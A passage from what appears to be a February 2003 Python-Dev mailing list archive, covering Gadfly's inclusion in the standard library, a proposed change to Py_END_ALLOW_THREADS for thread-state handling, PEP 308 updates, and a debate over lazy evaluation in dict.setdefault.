due to an incomplete thread state API, so such changes are worthwhile to me. Other's mileage may vary. FWIW, I have a portable (ie, no windows specific code at all) "auto thread state" implementation fully working with the Win32all extensions. These extensions do some funky things with threads and thread-states, and it all works perfectly. However, it does rely on this Py_END_ALLOW_THREAD change. See the full patch at http://www.python.org/sf/684256 Thanks, Mark. From zen@shangri-la.dropbear.id.au Tue Feb 11 00:17:42 2003 From: zen@shangri-la.dropbear.id.au (Stuart Bishop) Date: Tue, 11 Feb 2003 11:17:42 +1100 Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product? In-Reply-To: <82D9C667-2DA8-11D7-88CD-000393B63DDC@shangri-la.dropbear.id.au> Message-ID: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> On Wednesday, January 22, 2003, at 12:26 PM, Stuart Bishop wrote: > cc:'d to Aaron for the horses mouth opinion if the email address I have > is still valid. After remembering where Aaron now works, and emailing the following to his *correct* address, I got a 'Yes, no problem'. msg_to_aaron = """ I don't know if you saw this thread or not on Python-dev: http://mail.python.org/pipermail/python-dev/2003-January/032295.html Looks like Gadfly can go into the core Python distribution. One of the outstanding issues is that of the licence, which concerned Guido: http://mail.python.org/pipermail/python-dev/2003-January/032305.html Would you be interested in allowing the PSF to distribute Gadfly under its own licence to simplify things? """ So it looks like everything is fine, at least after we can extricate the keyboard Anthony managed to embed in his forehead. Speaking of which, should we proceed assuming nothing will be included until we have a a replacement for kjbuckets? If this isn't a requirement and we can proceed with the existing C code (with fallback to pure python), then we might be able to get this into 2.3 alpha 2. Otherwise I can give in to my inherent laziness and assume 2.3.1 or 2.4. Do I need a PEP, given that adding this as a module seems generally accepted both in python-dev and the DB SIG? -- Stuart Bishop http://shangri-la.dropbear.id.au/ From bac@OCF.Berkeley.EDU Tue Feb 11 00:41:53 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Mon, 10 Feb 2003 16:41:53 -0800 (PST) Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product? In-Reply-To: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> References: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> Message-ID: [Stuart Bishop] > So it looks like everything is fine, at least after we can extricate > the keyboard Anthony managed to embed in his forehead. Speaking of > which, > should we proceed assuming nothing will be included until we have a > a replacement for kjbuckets? If this isn't a requirement and we can > proceed with the existing C code (with fallback to pure python), then > we might be able to get this into 2.3 alpha 2. Otherwise I can give in > to my inherent laziness and assume 2.3.1 or 2.4. > If I remember correctly Guido said it is a requirement to replace kjbuckets with something else (Python version is acceptable). I know I personally would vote against letting it in with kjbuckets in C. > Do I need a PEP, given that adding this as a module seems generally > accepted > both in python-dev and the DB SIG? > Only really needed if you need to convince Guido that it is a good idea or get enough of a following to get Guido to overrule himself. -Brett From guido@python.org Tue Feb 11 01:40:45 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 20:40:45 -0500 Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product? In-Reply-To: "Your message of Tue, 11 Feb 2003 11:17:42 +1100." <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> References: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> Message-ID: <200302110140.h1B1ejk02792@pcp02138704pcs.reston01.va.comcast.net> > On Wednesday, January 22, 2003, at 12:26 PM, Stuart Bishop wrote: > > > cc:'d to Aaron for the horses mouth opinion if the email address I have > > is still valid. > > After remembering where Aaron now works, and emailing the following to > his *correct* address, I got a 'Yes, no problem'. > > msg_to_aaron = """ > I don't know if you saw this thread or not on Python-dev: > http://mail.python.org/pipermail/python-dev/2003-January/032295.html > > Looks like Gadfly can go into the core Python distribution. One of the > outstanding issues is that of the licence, which concerned Guido: > http://mail.python.org/pipermail/python-dev/2003-January/032305.html > > Would you be interested in allowing the PSF to distribute Gadfly under > its own licence to simplify things? > """ > > So it looks like everything is fine, at least after we can extricate > the keyboard Anthony managed to embed in his forehead. Speaking of > which, should we proceed assuming nothing will be included until we > have a a replacement for kjbuckets? If this isn't a requirement and > we can proceed with the existing C code (with fallback to pure > python), then we might be able to get this into 2.3 alpha 2. > Otherwise I can give in to my inherent laziness and assume 2.3.1 or > 2.4. > > Do I need a PEP, given that adding this as a module seems generally > accepted both in python-dev and the DB SIG? No PEP is needed, but I'd like to understand more of the mechanics of adding this to the distribution. I've got no problem with adding more Python code to the standard library, but (as Brett mentioned) I'd like to keep the kjbuckets C code out unless we have a volunteer to both clean it up and maintain it. Also, I just looked at the copy of gadfly that's part of Zope, and it is about 15,000 lines! (And that's only Python code -- no C code included, nor docs.) Do we really need all that? Who is going to maintain it? Is somebody going to convert the gadfly docs (assuming they exist) into LaTeX? Or is it just going to be an undocumented pile of code that only people who happen to already know how to use it can really use? --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Tue Feb 11 01:52:43 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 20:52:43 -0500 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: "Your message of Tue, 11 Feb 2003 09:59:09 +1100." <001d01c2d158$05ed4c00$530f8490@eden> References: <001d01c2d158$05ed4c00$530f8490@eden> Message-ID: <200302110152.h1B1qix02897@pcp02138704pcs.reston01.va.comcast.net> > As part of my "auto thread state" work, I am discovering some very > interesting things - including the fact that pythread.h *already* defines a > Python Thread Local Storage API, and that thread_sgi.h contains a safe, > portable working implementation :) Feel free to migrate that into thread.c with some #ifdef test so a platform can offer something better. > However, to do this auto thread state work properly, I will need to change > the definition of Py_END_ALLOW_THREADS. Specifically, Py_END_ALLOW_THREADS > needs to be able to handle the fact that the lock may or may not be held > when it is called (whereas now, the lock must *not* be held) Can you explain how the current thread, which explicitly released the lock in Py_BEGIN_ALLOW_THREADS, could end up owning the lock when Py_END_ALLOW_THREADS is entered? > Specifically, the changes would look like: > * New function to determine if the current thread's threadstate is "current" > * New function, PyEval_EnsureThread(), which is nearly identical to > PyEval_RestoreThread(), except it only attempts the restore of the thread > state if it is not already current. > > The above 2 are fairly easy to implement in a thread-safe manner - if the > thread only checks its *own* thread state is current, the result of that > check will remain valid on this thread, even if another thread becomes > current during processing. > > This means that Py_END_ALLOW_THREADS then changes from: > #define Py_END_ALLOW_THREADS PyEval_RestoreThread(_save); \ > to: > #define Py_END_ALLOW_THREADS PyEval_EnsureThread(_save); \ > > Now, I understand that a complete blessing of this scheme will need more > details - but I am concerned that *any* change to Py_END_ALLOW_THREADS will > blow this scheme out of the water. For example, the Win32 extensions have, > in a few places, emulated Py_BEGIN_ALLOW_THREADS, and all of this code will > need to change. From my POV though, the only reason I needed these hacks in > the first place was due to an incomplete thread state API, so such changes > are worthwhile to me. Other's mileage may vary. If the issue is that there is (indeed very likely) code out there that calls PyEval_RestoreThread() rather than using the macro, would it be possible to change PyEval_RestoreThread() so that it acts the same as PyEval_EnsureThread()? > FWIW, I have a portable (ie, no windows specific code at all) "auto thread > state" implementation fully working with the Win32all extensions. These > extensions do some funky things with threads and thread-states, and it all > works perfectly. However, it does rely on this Py_END_ALLOW_THREAD change. > See the full patch at http://www.python.org/sf/684256 Alas, no time to review code this week. :-( --Guido van Rossum (home page: http://www.python.org/~guido/) From rjones@ekit-inc.com Tue Feb 11 02:27:48 2003 From: rjones@ekit-inc.com (Richard Jones) Date: Tue, 11 Feb 2003 13:27:48 +1100 Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product? In-Reply-To: <200302110140.h1B1ejk02792@pcp02138704pcs.reston01.va.comcast.net> References: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> <200302110140.h1B1ejk02792@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <200302111327.48806.rjones@ekit-inc.com> On Tue, 11 Feb 2003 12:40 pm, Guido van Rossum wrote: > No PEP is needed, but I'd like to understand more of the mechanics of > adding this to the distribution. I've got no problem with adding more > Python code to the standard library, but (as Brett mentioned) I'd like > to keep the kjbuckets C code out unless we have a volunteer to both > clean it up and maintain it. The C code will go away soon, thanks to Anthony's efforts in the kjbuckets python module (the conversion to the new sets implementation, amongst other enhacements). > Also, I just looked at the copy of gadfly that's part of Zope, and it > is about 15,000 lines! (And that's only Python code -- no C code > included, nor docs.) Do we really need all that? The cleaned up version in the sourceforge project is 11k. We may be able to remove the 1.2kloc parser builder. > Who is going to maintain it? I have no answer for this. The sourceforge project has a number of maintainers, but there are old outstanding bugs which have had no attention (some even have patches). I'm afraid it's at the bottom of my priority list at present. > Is somebody going to convert the gadfly docs (assuming > they exist) into LaTeX? I converted them to ReST as part of my cleanup, so a docutils writer which writes the python doc LaTeX format _should_ be possible (it'd be a nice-to-have for Python documentation regardless :) > Or is it just going to be an undocumented > pile of code that only people who happen to already know how to use it > can really use? It is documented already. Stuart is looking at implemeting the DB-API 2.0 interface for it, so the doc will need updating at that point. That's not a mammoth task though. Richard From mhammond@skippinet.com.au Tue Feb 11 03:18:22 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Tue, 11 Feb 2003 14:18:22 +1100 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: <200302110152.h1B1qix02897@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <002201c2d17c$3c084500$530f8490@eden> > > However, to do this auto thread state work properly, I will > > need to change the definition of Py_END_ALLOW_THREADS. > > Specifically, Py_END_ALLOW_THREADS needs to be able to > > handle the fact that the lock may or may not be held > > when it is called (whereas now, the lock must *not* be held) > > Can you explain how the current thread, which explicitly released the > lock in Py_BEGIN_ALLOW_THREADS, could end up owning the lock when > Py_END_ALLOW_THREADS is entered? The short answer is that the current thread releases the lock (via Py_BEGIN_ALLOW_THREAD), then makes the call it needs to. This call may synchronously call back into Python code, acquiring the lock. Currently, the rule is that the callback must also release the lock when done. However, I am hoping to change things so that the callback code need *not* re-release the lock when on the same thread. The longer answer is to *why* I want to make that change: Consider: void SomeCallback() { PyAutoThreadState_Ensure(); ... do some Python API stuff. SomeOtherFunc(); // my helper function. ... more Python stuff. PyAutoThreadState_Release(); } Now, consider SomeOtherFunc(): void SomeOtherFunc() { // This function also needs to use the Python API // but is called from many many places, where the // Python context is not always known. // So use the auto-thread-state PyAutoThreadState_Ensure(); .. use the api PyAutoThreadState_Release(); } As you can see, we have *nested* calls to PyAutoThreadState_Release(). The question is, in what state should PyAutoThreadState_Release() leave Python? To maintain the current semantics, the state must be left *exactly* as it was when we did the PyAutoThreadState_Ensure(). This would involve keeping state for each nested AutoThreadState call, which is a PITA, and I believe unnecessary. PyAutoThreadState_Release() can obviously not unconditionally release the lock, else it will not be held by SomeCallback() once the call to SomeOtherFunc() returns. The semantics I hope to implement are that the Python GIL is only released when the *last* nested AutoThreadState call on a thread completes. This should also help perf, as we can avoid a number of lock transitions. So, if we consider an extension module: PyObject *MyExtFunc(PyObject *args, PyObject *self) { ... Py_BEGIN_ALLOW_THREADS // note the more common case is that "SomeCallBack" is // invoked *indirectly* via the function being called - but // for the sake of demo, let's assume a direct call. SomeCallback(); Py_END_ALLOW_THREADS } When SomeCallBack() completes, the PyAutoThreadState_Release() call realizes that this is *not* the bottom of the stack for this thread, so does not bother to release the lock. Thus, when Py_END_ALLOW_THREADS is hit, we find that the current thread still has the lock. However, if "SomeCallBack()" had been called indirectly on another thread, then PyAutoThreadState_Release() *would* release the lock, as that call will be the final _Release() for that thread. ... > If the issue is that there is (indeed very likely) code out there that > calls PyEval_RestoreThread() rather than using the macro, would it be > possible to change PyEval_RestoreThread() so that it acts the same as > PyEval_EnsureThread()? Yes, this is probably best, but means the doc for PyEval_RestoreThread would change - in particular: : If the lock has been created, the current thread must not have acquired it, : otherwise deadlock ensues. However, as we are lossening this up, I see no real problem. > Alas, no time to review code this week. :-( No problem - thanks for helping me ensure I stay on track. Mark. From python@rcn.com Tue Feb 11 05:54:45 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 11 Feb 2003 00:54:45 -0500 Subject: [Python-Dev] Update to PEP308: if-then-else expression References: <002201c2d17c$3c084500$530f8490@eden> Message-ID: <012e01c2d192$14ecf860$125ffea9@oemcomputer> I updated the PEP for Guido van Rossum. If the cron job is doing its thing, the results will be visible in a few hours. The update reflects updated thinking based on the discussion to-date. It also summarizes a few posts from comp.lang.python. Hopefully, it will serve to focus the discussion on the best of the ideas and arguments presented so far. * Out of order evaluation is out of favor. * So are ideas that do not provide for short-circuiting. * (if : else: ) is in vogue. * ?? || is a new contender. * cond(, , ) is viable if implemented as a keyword and has short-circuit behavior. Note, the actual word is still an open question. iif() got shot down quickly. * Added a summary of a few ideas from the last couple hundred posts from comp.lang.python. Raymond Hettinger From Jack.Jansen@cwi.nl Tue Feb 11 10:44:03 2003 From: Jack.Jansen@cwi.nl (Jack Jansen) Date: Tue, 11 Feb 2003 11:44:03 +0100 Subject: [Python-Dev] Re: [Python-checkins] python/dist/src/Python bltinmodule.c,2.276,2.277 In-Reply-To: Message-ID: On Monday, Feb 10, 2003, at 17:34 Europe/Amsterdam, Tim Peters wrote: > [Jack Jansen] >> ... >> If you build with Apple's MPW compilers it probably is, but (a) these >> compilers are horribly outdated and (b) it would take major surgery to >> compile Python with MPW anyway, nowadays. > > In that case, can we remove the MPW #ifdef's from the Python core? > Things > like object.c's I would suggest waiting until after 2.4. At the time of 2.2 it was still possible for a truly brave soul to build an extension module with MPW, and I while I've never tried this myself I have no reason to believe this has broken. But the examples you give can definitely go, if they bother you rip them out. After 2.3 we can get rid of everything related to MacOS9. -- Jack Jansen, , http://www.cwi.nl/~jack If I can't dance I don't want to be part of your revolution -- Emma Goldman From ark@gmx.net Tue Feb 11 11:10:29 2003 From: ark@gmx.net (Arne Koewing) Date: Tue, 11 Feb 2003 12:10:29 +0100 Subject: [Python-Dev] Re: pickle me, Elmo? (weakref feature request) References: <20030210150045.8978.89007.Mailman@mail.python.org> <000301c2d127$6c8747d0$6601a8c0@NICKLEBY> <87adh4lzh9.fsf_-_@gmx.net> <200302101948.h1AJm4J03334@odiug.zope.com> <1044907180.8719.117.camel@slothrop.zope.com> Message-ID: <8765rrhy3e.fsf@gmx.net> Jeremy Hylton writes: > On Mon, 2003-02-10 at 14:48, Guido van Rossum wrote: >> I brainstormed for a few minutes with Fred Drake, the weakref expert, >> but we saw many obstacles to implementing it. It would be A Major >> Project to implement this: it would require adding new methods to >> weakref objects, and new pickling codes, and an extension to the >> pickling and unpickling engines... >> > > I suspect that something like this feature could be implemented using > persistent_id() and persistent_load(). The persistent_id() could do > something special for weak references, returning a persistent id that is > the id() of the referenced object. The persistent_load() function could > check for one in the memo and create a new weakref if it exists; > otherwise, it would return None. > > The one hitch is that the only reference to an object might occur after > the weakref. The unpickler wouldn't know that the object occurred > later. Not sure how to finesse this problem; it seems to require a > second pass over the pickle stream at some point, which is a major > rewrite. Perhaps the persistent_load() always returns a proxy object > that isn't a weakref, but has the same interface. When the unpickler is > done, it gives all these objects a chance to check the memo for the real > objects. > That sounds somewhat familiar to me... I've tried to implement this for the pickle module, but I've never got it finished. The next ten days I'll be to busy to reinvestigate this. When I've more time (in eleven days :-) I'll try to really understand the weakref and Pickle/cPickle module implementations. From jcea@argo.es Tue Feb 11 12:23:35 2003 From: jcea@argo.es (Jesus Cea Avion) Date: Tue, 11 Feb 2003 13:23:35 +0100 Subject: [Python-Dev] dict "setdefault". Feaure request or bugfix? Message-ID: <3E48EB47.8CA7E77A@argo.es> Reading "python cookbook" I reach a very intelligent dictionary construction: to use dictionary "setdefault" to avoid a "get" or a "try...except". Nevertheless current "setdefault" behaviour is questionable, since it evaluates the default value when it is not necessary. In my mind, "setdefault" should evaluate the default value when it need to use it, not ALWAYS. Example: >>> a={} >>> def b() : ... print "hi!" ... return 1 ... >>> a.setdefault("hola","hello") hello >>> print a {'hola': 'hello'} >>> a.setdefault("hola",b()) hi! 'hello' In the example, the "setdefault" evaluation is not necessary since 'a["hola"]' already exists. But the default function is called, although its return value will be ignored. This behaviour is not intuitive and I think it should be changed or, at least, documented. The change would be very welcome when the "setdefault" default code is expensive, like my application. In any case, the change would be ALWAYS more efficient, even in the tipical "[]" case. Perhaps a "form __future__ import setdefaultNG" would be necessary to help to update legacy code? Opinions?. -- Jesus Cea Avion _/_/ _/_/_/ _/_/_/ jcea@argo.es http://www.argo.es/~jcea/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/_/_/_/ PGP Key Available at KeyServ _/_/ _/_/ _/_/ _/_/ _/_/ "Things are not so easy" _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ "My name is Dump, Core Dump" _/_/_/ _/_/_/ _/_/ _/_/ "El amor es poner tu felicidad en la felicidad de otro" - Leibniz From aleax@aleax.it Tue Feb 11 13:33:45 2003 From: aleax@aleax.it (Alex Martelli) Date: Tue, 11 Feb 2003 14:33:45 +0100 Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) In-Reply-To: <3E48EB47.8CA7E77A@argo.es> References: <3E48EB47.8CA7E77A@argo.es> Message-ID: <200302111433.45925.aleax@aleax.it> On Tuesday 11 February 2003 01:23 pm, Jesus Cea Avion wrote: > 5470&atid=355470> > > Reading "python cookbook" I reach a very intelligent > dictionary construction: to use dictionary "setdefault" > to avoid a "get" or a "try...except". > > Nevertheless current "setdefault" behaviour is > questionable, since it evaluates the default value when > it is not necessary. In my mind, "setdefault" should > evaluate the default value when it need to use it, not > ALWAYS. Example: OK, you want "lazy evaluation", but only in a very specific case. I don't think you're going to be able to get such a huge concept into such a remote and obscure corner case. If lazy evaluation is ever to make its way into Python (and it would have many benefits, as well as many costs), I think it would have to be much more general *AND* clearly visible at the point of call -- ANY call to: whatever(a(), b()) MUST continue to ensure each of a and b is called before whatever is -- both for backwards compatibility AND to respect the principle of least astonishment -- that's how Python has always worked and how anybody would expect it to work, even if some binding whatever=somedict.setdefault had been executed previously. So, syntax is needed at the point of call to tell the program _readers_ "this expression is passed as a lazily evaluated argument" -- explicit is better than implicit. And to let you write your own callables which are ready to accept lazily evaluated arguments, syntax is also needed on that side, both to say "this argument can be a lazily evaluated one" and to force the evaluation when and if it is necessary (the latter might be implicit, but I think explicit is better). E.g., a strawman syntax might be...: def setdefault(adict, akey, ?avalue): if akey not in adict: adict[akey] = evaluate_now(avalue) return adict[akey] to be called as, e.g. setdefault(mydict, 'goo', ?makeavalue(x)) this would use ? for both formal and actual arguments to mean lazy evaluation, and a new builtin to force the time of evaluation. Other choices are, of course, possible. Alex From rnd@onego.ru Tue Feb 11 14:17:33 2003 From: rnd@onego.ru (Roman Suzi) Date: Tue, 11 Feb 2003 17:17:33 +0300 (MSK) Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) In-Reply-To: <200302111433.45925.aleax@aleax.it> Message-ID: On Tue, 11 Feb 2003, Alex Martelli wrote: > E.g., a strawman syntax might be...: > > def setdefault(adict, akey, ?avalue): > if akey not in adict: > adict[akey] = evaluate_now(avalue) > return adict[akey] > > to be called as, e.g. > > setdefault(mydict, 'goo', ?makeavalue(x)) > > this would use ? for both formal and actual arguments to > mean lazy evaluation, and a new builtin to force the time > of evaluation. Other choices are, of course, possible. This could be good for the properties as well. However I think omitted lambda is better and nicer: def setdefault(adict, akey, avalue): if akey not in adict: adict[akey] = avalue(args...) return adict[akey] > > to be called as, e.g. > setdefault(mydict, 'goo', :makeavalue(x)) equal to setdefault(mydict, 'goo', lambda:makeavalue(x)) Alex, are we up to make a PEP for this? (it's pretty simple change to grammar: no need to change anything else, probably we can convince Guido to accept it due to simplicity.) Horizonts for 0-arity lambdas are numerous. The idea is that "lambda" keyword is optional in some circumstances, like: - as an argument in function call - right after "=" in assignment - in default value specification (in def statement) (some other cases) inline if then will be something like: def iif(cond, true, false): if cond: return true() else: return false() iif(cond, :1, :2) This will clearly indicate to programmer that values are "quoted" (like in LISP) - not evaluated right now. Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd@onego.ru - From jcea@argo.es Tue Feb 11 14:20:11 2003 From: jcea@argo.es (Jesus Cea Avion) Date: Tue, 11 Feb 2003 15:20:11 +0100 Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> Message-ID: <3E49069B.FBD8FA@argo.es> > OK, you want "lazy evaluation", but only in a very specific case. Specific but intuitive, useful and efficient, nevertheless. > MUST continue to ensure each of a and b is called before > whatever is -- both for backwards compatibility AND to respect > the principle of least astonishment Well, that a dict's "setdefault" method invokes the argument function only when necessary is far more intuitive and logical to me than current situation. In fact there are already precendents, like boolean AND construction, for example. Or the vary same "zip" built-in lazy parameters evaluation works, for example. Yes, lazy evaluation should be very useful although generators and iterators helps a lot. But it is not the point that I'd like to study here :-). By the way, thanks for your (and David Ascher) "Python CookBook". I only read 1/3 so far, but my money is already well paid :-). Last night I went to bet at 4:30 in the morning... };-) -- Jesus Cea Avion _/_/ _/_/_/ _/_/_/ jcea@argo.es http://www.argo.es/~jcea/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/_/_/_/ PGP Key Available at KeyServ _/_/ _/_/ _/_/ _/_/ _/_/ "Things are not so easy" _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ "My name is Dump, Core Dump" _/_/_/ _/_/_/ _/_/ _/_/ "El amor es poner tu felicidad en la felicidad de otro" - Leibniz From aleax@aleax.it Tue Feb 11 14:44:12 2003 From: aleax@aleax.it (Alex Martelli) Date: Tue, 11 Feb 2003 15:44:12 +0100 Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) In-Reply-To: References: Message-ID: <200302111544.12379.aleax@aleax.it> On Tuesday 11 February 2003 03:17 pm, Roman Suzi wrote: > On Tue, 11 Feb 2003, Alex Martelli wrote: > > E.g., a strawman syntax might be...: > > > > def setdefault(adict, akey, ?avalue): > > if akey not in adict: > > adict[akey] = evaluate_now(avalue) > > return adict[akey] > > > > to be called as, e.g. > > > > setdefault(mydict, 'goo', ?makeavalue(x)) > > > > this would use ? for both formal and actual arguments to > > mean lazy evaluation, and a new builtin to force the time > > of evaluation. Other choices are, of course, possible. > > This could be good for the properties as well. > However I think omitted lambda is better and nicer: > > def setdefault(adict, akey, avalue): > if akey not in adict: > adict[akey] = avalue(args...) > return adict[akey] I don't get it -- where are "args" coming from? I do see that if a "lazily evaluated parameter" is just a callable-without-arguments, then "evaluate_now" easily collapses to "apply" (or the () operator) and no syntax is needed at the called-site. I think I'd rather _have_ the called-site syntax, but your proposal's simplicity of implementation does help, of course. > Alex, are we up to make a PEP for this? > (it's pretty simple change to grammar: no need to change anything else, > probably we can convince Guido to accept it due to simplicity.) Yes, these are the pluses. However, the PEP should also point out the problems, i think -- the scarce visibility of that leading ":" and the lack of any marker at the called-point (for arguments). Hmmm.... > Horizonts for 0-arity lambdas are numerous. > > The idea is that "lambda" keyword is optional in some circumstances, like: > > - as an argument in function call > - right after "=" in assignment > - in default value specification (in def statement) > (some other cases) > > > inline if then will be something like: > > def iif(cond, true, false): > if cond: return true() > else: return false() > > iif(cond, :1, :2) > > This will clearly indicate to programmer that values are "quoted" (like > in LISP) - not evaluated right now. This is a nice use case (even though I'd call the function ifelse;-). And yes, thinking of that leading : as "quoting" does help. Double hmmm... Alex From lalo@laranja.org Tue Feb 11 14:37:06 2003 From: lalo@laranja.org (Lalo Martins) Date: Tue, 11 Feb 2003 12:37:06 -0200 Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) In-Reply-To: <200302111433.45925.aleax@aleax.it> References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> Message-ID: <20030211143706.GH17348@laranja.org> On Tue, Feb 11, 2003 at 02:33:45PM +0100, Alex Martelli wrote: > > def setdefault(adict, akey, ?avalue): > if akey not in adict: > adict[akey] = evaluate_now(avalue) > return adict[akey] > > to be called as, e.g. > > setdefault(mydict, 'goo', ?makeavalue(x)) > > this would use ? for both formal and actual arguments to > mean lazy evaluation, and a new builtin to force the time > of evaluation. Other choices are, of course, possible. +0.5 when nobody is looking I smirk at the fact that tcl has a feature python doesn't ;-) (well, not really... it could be argued our lambda does the same thing better) Instead of a new builtin, I think the "lazy evaluation block" should be an object; you can then call a method, in your example avalue.eval() What happens if you don't add the ? to the call? setdefault(mydict, 'foo', v) IMHO it would still build a "lazy evaluation block" but somehow "already evaluated". One more important bit: what happens if you call .eval() multiple times? Do each one result in a new evaluation, or is the result cached internally? I can see use cases for both. Perhaps ruling that each .eval() re-evaluates the block works - then if you want to avoid it, just assign the result to a local variable (explicit). OTOH, off the top of my head I can't think of another valid use case for this whole feature other than setdefault. []s, |alo +---- -- Those who trade freedom for security lose both and deserve neither. -- http://www.laranja.org/ mailto:lalo@laranja.org pgp key: http://www.laranja.org/pessoal/pgp Eu jogo RPG! (I play RPG) http://www.eujogorpg.com.br/ GNU: never give up freedom http://www.gnu.org/ From lalo@laranja.org Tue Feb 11 14:39:05 2003 From: lalo@laranja.org (Lalo Martins) Date: Tue, 11 Feb 2003 12:39:05 -0200 Subject: [Python-Dev] [meta] EIBTI: can we acronimize? Message-ID: <20030211143905.GI17348@laranja.org> I just realized I'm finally tired of typing "Explicit is better than implicit". Can we agree to call this maxim EIBTI? Or is this too implicit? ;-) []s, |alo +---- -- Those who trade freedom for security lose both and deserve neither. -- http://www.laranja.org/ mailto:lalo@laranja.org pgp key: http://www.laranja.org/pessoal/pgp Eu jogo RPG! (I play RPG) http://www.eujogorpg.com.br/ GNU: never give up freedom http://www.gnu.org/ From aleax@aleax.it Tue Feb 11 14:58:02 2003 From: aleax@aleax.it (Alex Martelli) Date: Tue, 11 Feb 2003 15:58:02 +0100 Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) In-Reply-To: <3E49069B.FBD8FA@argo.es> References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <3E49069B.FBD8FA@argo.es> Message-ID: <200302111558.02982.aleax@aleax.it> On Tuesday 11 February 2003 03:20 pm, Jesus Cea Avion wrote: > > OK, you want "lazy evaluation", but only in a very specific case. > > Specific but intuitive, useful and efficient, nevertheless. > > > MUST continue to ensure each of a and b is called before > > whatever is -- both for backwards compatibility AND to respect > > the principle of least astonishment > > Well, that a dict's "setdefault" method invokes the argument function > only when necessary is far more intuitive and logical to me than current > situation. In fact there are already precendents, like boolean AND > construction, for example. Or the vary same "zip" built-in lazy > parameters evaluation works, for example. There are absolutely no precedents for ANY arguments to Python callables being lazily evaluated. Your opinion that the zip built-in is an exception is seriously (and gravely) wrong. The operators and / or _do_ shortcircuit, but they have nothing to do with any arguments going to any callables. The rule now is: *ANY* time (and I mean *ANY*) you see: anycallable ( anargumentexpression ) FIRST the anargumentexpression is evaluated, THEN its result is used as the argument to anycallable *ALWAYS*. *EVER*. *NO* exceptions, EVER. Your claim is that changing this rule into ones that continues with: EXCEPT if the value of anycallable is this very specific one, in which case the SECOND argument only isnt ... is "INTUITIVE"?! I think you are not applying the right principles of language design, those on which Python is based: *NO* obscure special cases, "convenient" shortcuts, "ad-hoc" exceptions. Languages that strive to use complicated rules instead of simple ones in order to "read the programmer's mind" and "do what's most convenient in a way that depends entirely on the context" are inevitably destined to go the way of perl or PL/I - to unbearable, atrocious complexity. > Yes, lazy evaluation should be very useful although generators and > iterators helps a lot. But it is not the point that I'd like to study > here :-). OK, let's keep "studying" how absurd it would be to make a totally general, simple, universal rule substantially more complex to cater for ONE obscure, rare corner case. I think it makes a great example on how NOT to design a programming language. > By the way, thanks for your (and David Ascher) "Python CookBook". I only > read 1/3 so far, but my money is already well paid :-). Last night I > went to bet at 4:30 in the morning... };-) Well, the thanks should really spread to the whole Python community -- over 100 contributors, over a dozen authors of chapter introductions -- but I'll gladly accept them for my own role;-). But I'll be snide and point out that the idea of making one tiny exception to a general rule for "convenience" in one obscure case is easier to understand thinking you've slept little;-). Alex From duncan@rcp.co.uk Tue Feb 11 15:12:55 2003 From: duncan@rcp.co.uk (Duncan Booth) Date: Tue, 11 Feb 2003 15:12:55 +0000 Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <3E49069B.FBD8FA@argo.es> Message-ID: Jesus Cea Avion wrote in news:3E49069B.FBD8FA@argo.es: >> OK, you want "lazy evaluation", but only in a very specific case. > > Specific but intuitive, useful and efficient, nevertheless. One way to satisfy this would be to redefine setdefault something like this: def setdefault(aDict, aKey, aValue=None, lazy=None): assert aValue is None or lazy is None if aKey not in aDict: aDict[aKey] = (if lazy is None: aValue else: lazy()) return aDict[aKey] Then your existing calls continue to work, but you have the option of specifying lazy evaluation, and the lazyness is clear at the point of call: myDict.setdefault(myKey, lazy=lambda:expensive_function(args)) No new syntax required (ignoring the gratuitous 'if' expression). If this every gets implemented, sentinal values would be better than None, but I thought it better to keep the example simple. I quite like Roman's idea for making lambda sometimes optional although myDict.setdefault(myKey, lazy=:expensive_function(args)) could be confused with := assignment in other languages. -- Duncan Booth duncan@rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From guido@python.org Tue Feb 11 15:14:28 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 11 Feb 2003 10:14:28 -0500 Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product? In-Reply-To: Your message of "Tue, 11 